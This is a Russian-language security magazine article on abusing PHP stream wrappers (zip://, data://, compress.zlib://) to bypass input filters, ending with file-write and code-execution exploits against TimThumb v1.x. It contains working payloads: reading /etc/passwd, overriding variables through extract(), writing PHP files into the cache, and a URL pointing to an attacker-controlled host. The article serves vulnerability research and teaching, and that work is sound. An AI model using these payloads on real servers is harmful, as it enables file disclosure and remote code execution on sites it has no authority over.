Гибкость языка программирования добавляет удобства разработчикам, но и открывает новые векторы для атаки. Разработчики РНР часто используют так называемые wrapper’ы и даже не подозревают, что это может привести к обходу встроенных в приложение фильтров безопасности и, к примеру, позволить выполнить на сервере произвольный код. О врапперах, их особенностях и угрозах, с ними связанных, и пойдет сегодня речь.

 

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный с использованием материалов этой статьи.

 

Intro

Уязвимости, связанные с реализованным в PHP механизмом врапперов, обсуждаются достаточно давно. Ссылки на них присутствуют в OWASP TOP 10 и WASC TCv2. Однако ряд особенностей реализации кодирования данных приводит к тому, что даже приложения, разработанные с учетом требований безопасности, могут содержать уязвимости (включая критические). В этой статье мы сначала кратко рассмотрим, что представляют собой PHP wrappers и как они могут быть полезны программистам. Затем разберем их особенности, которые позволяют обходить встроенные в приложение фильтры безопасности и реализовывать атаки, связанные с несанкционированным доступом к файловой системе и выполнением произвольного кода.

 

Wrapper’ы

В PHP есть такое понятие, как потоки (Streams), которые появились в интерпретаторе начиная с версии 4.3.0. Это абстрактный слой для работы с файлами, сетью, сжатыми данными и другими ресурсами, использующими единый набор функций. В простейшем определении, поток — это ресурс, имеющий «потокообразное» поведение. То есть ресурс, из которого можно читать, в который можно писать и внутри которого можно перемещаться. Для примера рассмотрим функцию fopen. Согласно официальной документации, она имеет следующий синтаксис:

resource fopen ( string $filename , string $mode
  [, bool $use_include_path = false [, resource $context ]] )

где в качестве $filename может быть использован путь до локального файла. Хорошо известно, что получить содержимое локальных файлов можно так:

$handle = fopen($file, "rb"); 
while (!feof($handle)) { 
   $contents .= fread($handle, 8192); 
 } 
print $contents; 

Но помимо тривиального пути к файлу могут быть использованы так называемые врапперы (wrapper). Лучший способ пояснить, что это такое, — привести несколько примеров. Итак, с использованием врапперов через все ту же функцию fopen становится возможным:

  • скачивать файлы с FTP: ftp://user:password@10.0.0.1/pub/file.txt;
  • обращаться, если доступ к ним ограничен, к server-status/server-info по IP: http://127.0.0.1/server-status;
  • обращаться к файловым дескрипторам, открытым на чтение (PHP >= 5.3.6): php://fd/XXX;
  • и даже выполнить команды OS (если установлено расширение expect): expect://ls.

Врапперы (они же обработчики протокола или обертки) указывают функциям, каким образом обрабатывать данные из потока. Поэтому функции, поддерживающие врапперы, могут быть использованы для получения данных из различных источников. Врапперы позволяют гибко и удобно обрабатывать данные, поступающие в программу через какой-либо поток, а также модифицировать их при необходимости.

Секция Registered PHP Streams в выводе phpinfo()
Секция Registered PHP Streams в выводе phpinfo()

В рассмотренном примере врапперы использовались в режиме read. Если же происходит запись данных, то и в этом случае врапперы также могут расширить возможности многих функций. Например, функция copy() поддерживает врапперы в обоих своих аргументах, и если во втором аргументе используется обертка php://output, то копируемый файл отправляется в выходной буфер. Таким образом, функция copy() позволяет не только копировать файлы, но и читать их.

copy('/etc/passwd' , 'php://output');

Аналогичным образом можно использовать функцию file_put_contents и любую другую функцию, поддерживающую враппер в режиме write:

file_put_contents('php://output',  file_get_contents('/etc/hosts')); 

В версии PHP 5.3.6 появился враппер php://fd, который предоставляет прямой доступ к файловым дескрипторам. Если PHP установлен как модуль Apache’а, враппер php://fd дает возможность записывать произвольные данные в access_log/error_log (обычно права на этих файлах 644, и напрямую в них может писать только root).

Надо сказать, что в PHP довольно много встроенных врапперов, но при этом можно создавать и регистрировать собственные обертки, используя функцию stream_wrapper_register. Более подробную информацию ты сможешь найти на официальном сайте PHP. Полный список доступных врапперов можно посмотреть с секции phpinfo — Registered PHP Streams.

Некоторые врапперы имеют недокументированные особенности, позволяющие более эффективно эксплуатировать уязвимости веб-приложений. Именно эти особенности мы сегодня и рассмотрим.

 

Что таит в себе ZIP?

ZIP — популярный формат сжатия данных и архивации файлов. Поддержка этого формата реализована во всех современных операционных системах, а библиотеки для работы с ним написаны для большинства языков программирования. В PHP для работы с этим форматом удобно использовать модуль zip.

В Linux-системах модуль zip становится доступным, если PHP скомпилирован с опцией —enable-zip. Архивировать можно не только отдельные файлы, но и целые каталоги; чтобы сохранялась структура каталога, в именах файлов, добавляемых в архив, допустимо использовать слеш /. Еще одной важной особенностью модуля zip является возможность обрабатывать файлы с произвольным именем: главное, чтобы содержимое файла было корректно сформированным zip-архивом.

Создание zip-архива

$zip = new ZipArchive; 
 if ($zip->open('/tmp/any_name_zip_arxiv',1)){ 
  $zip->addFromString( '/my/header.html',
   '<?php print_r(ini_get_all());' ); 
 } 
$zip->close();

После того как zip-архив создан, с помощью враппера zip:// можно напрямую обращаться к файлам внутри архива.

Чтение файла из zip-архива

print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');

Возможность помещать в архив файлы, в именах которых присутствует слеш, позволяет эксплуатировать уязвимости типа Remote File Include, при отсутствии null-байта. Для примера рассмотрим следующий простой скрипт:

$s = $_POST['path']; 
include $s.'/header.html';

Конечно, добиться выполнения кода в данном случае можно разными путями. Но использование врапперов http://, ftp://, data:// ограничивается директивой allow_url_include, а использованию null-байта при инклуде локальных файлов скорей всего помешает директива magic_quotes_gpc. И может даже показаться, что при allow_url_include=Off и magic_quotes_gpc=On проэксплуатировать уязвимость никаким образом не получится. Но есть еще один способ, не описанный ранее в паблике!

Для начала предположим, что есть возможность создавать на атакуемом сервере файлы. Тогда, создав zip-архив, как показано в примере выше, возможно выполнить PHP-код, используя враппер zip://.

path=zip:///tmp/any_name_zip_arxiv#/my

Если нет возможности создать нужный файл с помощью PHP-функции, то можно использовать временные файлы, которые создает PHP при загрузке контента через HTML-форму. Путь до временного файла можно узнать из phpinfo(). Более подробные сведения о том, как использовать временные файлы при эксплуатации уязвимостей типа LFI/RFI, можно почерпнуть на форуме rdot.org. Важно отметить, что директива allow_url_fopen не ограничивает применение обертки zip://.

 

Where is my data://?

Враппер data:// с момента своего появления привлекал внимание специалистов по веб-безопасности. В официальной документации этот враппер предлагают использовать в очень ограниченной форме. Но согласно спецификации RFC 2379, эта обертка допускает более развернутый синтаксис:

dataurl   := "data:" [ mediatype ] [ ";base64" ] "," data   
mediatype  := [ type "/" subtype ] *( ";" parameter ) 
data  := *urlchar  
parameter  := attribute "=" value

При этом mediatype может либо полностью отсутствовать, либо быть заполнен произвольными значениями:

data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Эту особенность враппера можно использовать для обхода проверок и фильтров. Например, в популярном скрипте TimThumb v1.x есть такой фильтр:

function validate_url ($url) {
$pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i";
return preg_match ($pattern, $url);
}

Обойти эту проверку можно следующим образом:

data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

В PHP существует такая функция, как stream_get_meta_data(). Согласно официальной документации, она извлекает метаданные из потоков и файловых указателей:

array stream_get_meta_data ( resource $stream )

При этом в возвращаемом массиве содержатся элементы с четко заданными ключами, и задача добавления в этот массив новых элементов выглядит на первый взгляд довольно проблематичной. Но с помощью враппера data:// можно довольно просто манипулировать этим массивом! Как? Приведу пример:

$password = 'secret'; 
$file = $_POST['file']; 
$fp = fopen( $file, 'r'); 
extract(stream_get_meta_data($fp)); 
if ( $mediatype === 'text/plain') { ... } 
if ( $_COOKIE['admin'] === $password) { ... }
Документация к врапперу data://
Документация к врапперу data://

Если в переменной $file вместо имени локального файла использовать враппер data,

POST DATA: file=data://text/plain;password=mysecret;base64

то можно легко переопределить параметр $password и, используя куки, пройти авторизацию.

Cookie: admin=mysecret 
 

Холодный компресс

Согласно документации, обертка compress.zlib:// позволяет распаковывать gz-архивы. Если с помощью этого враппера обрабатывать данные, не являющиеся zlib-архивом, то данные возвращаются без изменений.

Например, прочитать файл /etc/hosts можно таким образом:

readfile('compress.zlib:///etc/hosts');

«Очень полезно!» — подумаешь ты :). Сейчас будет круче. Если ты хоть немного программировал на PHP для веба, то наверняка знаком с функцией prase_url(). Напомню, эта функция осуществляет парсинг URL. И тут есть один интересный момент: на вход функции можно предоставить не только URL, но и строку довольно общего типа:

print_r(parse_url('anysheme://anysite.com/;http://w?v@l=!'));

Учитывая эту особенность, можно обходить различные проверки и фильтры на основе функции parse_url, используя многофункциональные врапперы. Для примера рассмотрим следующий скрипт, который, по задумке разработчиков, может загружать файлы только с доверенного хоста img.youtube.com.

$url_info = parse_url($_POST['src']);  
if ($url_info['host'] === 'img.youtube.com') {  
 $name = str_replace('/', '',
  substr($url_info['path'], 4));  
  copy( $src, './'.$name ); 
}

В штатном режиме превью с img.youtube.com загружаются следующим образом:

POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

В этом случае фильтр можно обойти и с помощью враппера compress.zlib://.

POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;

Помимо этого, довольно просто обойти фильтр на имя хоста и загрузить на сервер файл с произвольным именем и содержимым при помощи ранее рассмотренного нами враппера data://:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

В этом случае локальные файлы будут копироваться в папку с превью: если эта папка доступна для прямого обращения из браузера, то появляется возможность просматривать системные файлы. Из этого примера видно, что использование врапперов data:// и compress.zlib:// может быть полезным в скриптах, скачивающих файлы с удаленных хостов. Одним из таких скриптов является TimThumb.

Уязвимость в плагине WordPress
Уязвимость в плагине WordPress
 

Эксплуатация уязвимостей в TimThumb v1.x

TimThumb — это популярный скрипт для работы с изображениями, который используется во многих темах и плагинах для WordPress. В августе 2011 года в скрипте TimThumb v 1.32 была найдена критическая уязвимость, позволяющая загружать на атакуемый сервер вместо изображений с доверенных хостов файлы с PHP-кодом. Почти в одночасье в публичном доступе появилась адвизори, подробно рассказывающая об эксплуатации этой уязвимости.

Суть уязвимости заключалась в том, что скрипт некорректно проводил проверку URL по списку доверенных хостов, с которых возможно было загрузить изображения. Для обхода фильтров, к примеру по доверенному хосту blogger.com, предлагалось зарегистрировать домен четвертого уровня, содержащего в себе URL доверенного хоста, например blogger.com.attacker.com, и загружать файлы с этого домена.

http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

Этим способом можно было проэксплуатировать уязвимость до версии 1.32 (revision 142). Но более новые версии оказались также уязвимы. Рассмотрим, каким образом происходит загрузка изображений в версии 1.34 (revision 145):

function check_external ($src) {
 ......................
 $filename = 'external_' . md5 ($src);
 $local_filepath = DIRECTORY_CACHE . '/' . $filename;
 if (!file_exists ($local_filepath)) {
   if(strpos(strtolower($src),'http://')!==false||
  strpos(strtolower($src),'https://')!==false){
  if (!validate_url ($src)) 
  display_error ('invalid url');
  $url_info = parse_url ($src);
......................
  if($url_info['host']=='www.youtube.com' || 
 $url_info['host'] == 'youtube.com') {
   parse_str ($url_info['query']);
......................
  if (function_exists ('curl_init')) {
......................
 $fh = fopen ($local_filepath, 'w');
 $ch = curl_init ($src);
 .....................................
   curl_setopt ($ch, CURLOPT_URL, $src);
   ......................
   curl_setopt ($ch, CURLOPT_FILE, $fh);
   curl_setopt ($ch, CURLOPT_WRITEFUNCTION,
   'curl_write');
.......................................
$file_infos = getimagesize ($local_filepath); 
if (empty ($file_infos['mime']) || 
   !preg_match ("/jpg|jpeg|gif|png/i",
   $file_infos['mime'])) {
  unlink ($local_filepath);
  touch ($local_filepath); 
...................... 

Несложно заметить, что при проектировании функции check_external было допущено несколько логических ошибок:

  1. После выполнения большинства проверок в функцию parse_str попадают нефильтрованные пользовательские данные. Таким образом, можно переопределить переменные, которые до этого проверялись: $url_info[‘host’], $src, $local_filepath. Поэтому возможно загружать файлы с любых серверов.
  2. После загрузки файла на сервер на основе getimagesize проверяется, является ли файл изображением. Если проверка не пройдена, то файл удаляется. Но так как есть возможность влиять на переменную $local_filepath, то к локальному файлу можно обращаться, используя врапперы php://filter, compress.zlib://. А в этом случае функция unlink не сможет удалить файл.

Немного покопавшись, я написал эксплойт для загрузки файлов. С произвольным именем и с произвольным содержимым, в произвольное место системы.

src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info[host]=img.youtube.com&src=http://site.com/thumb.txt

Ветка 1.х заканчивается 149-й ревизией, в которой тоже есть уязвимости. В этой ревизии уже убрана функция parse_str и поэтому нет возможности произвести перезапись переменных. Но фильтры, проверяющие валидность URL, проверяют только вхождение соответствующих подстрок в строке $src. При этом если функция curl_init недоступна на атакуемом сервере, то загрузка файлов осуществляется с помощью file_get_contents/file_put_contents. Важно отметить, что эти функции, в отличие от curl_init, поддерживают все доступные в PHP врапперы.

if(!$img = file_get_contents($src)) {
   display_error ('remote file for ' .
 $src . 'can not be accessed. 
 It is likely that the file 
 permissions are restricted');
  }
if(file_put_contents($local_filepath,
   $img) == FALSE) {
 display_error ('error writing 
 temporary file');
  }  

Таким образом, с помощью враппера data:// можно обойти все фильтры и создать файл в директории кеша с произвольным содержимым:

data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Или с помощью враппера compress.zlib:// скопировать в кеш локальный файл:

compress.zlib://youtube.com/../http://?/../../path/to/local/file

Профит в том, что к файлам из кеша можно обращаться напрямую, в результате чего добиться RCE через запись шелла с помощью враппера data, а также получить содержимое локальных файлов, используя compress.zlib.

 

Вместо заключения

Очевидно, что встроенные в PHP врапперы дают большие возможности при эксплуатации уязвимостей типа File Manipulation. Но при этом стоит отметить, что даже самые простые проверки на основе функций file_exists, is_file, filesize не дадут воспользоваться врапперами. Также при установленном патче Suhosin по умолчанию невозможно использовать врапперы в инклудах, даже если директива allow_url_include имеет значение On. На этом я не закрываю тему использования врапперов и в следующей статье расскажу про возможности враппера php://filter на примерах эксплуатации уязвимостей в популярных веб-движках. Stay tuned!

Оставить мнение

Check Also

Как Apple обходит стандарты, заставляя тебя платить. Колонка Олега Афонина

Иногда сложные вещи начинаются с простых: планшет iPad Pro 10.5 вдруг перестал заряжаться …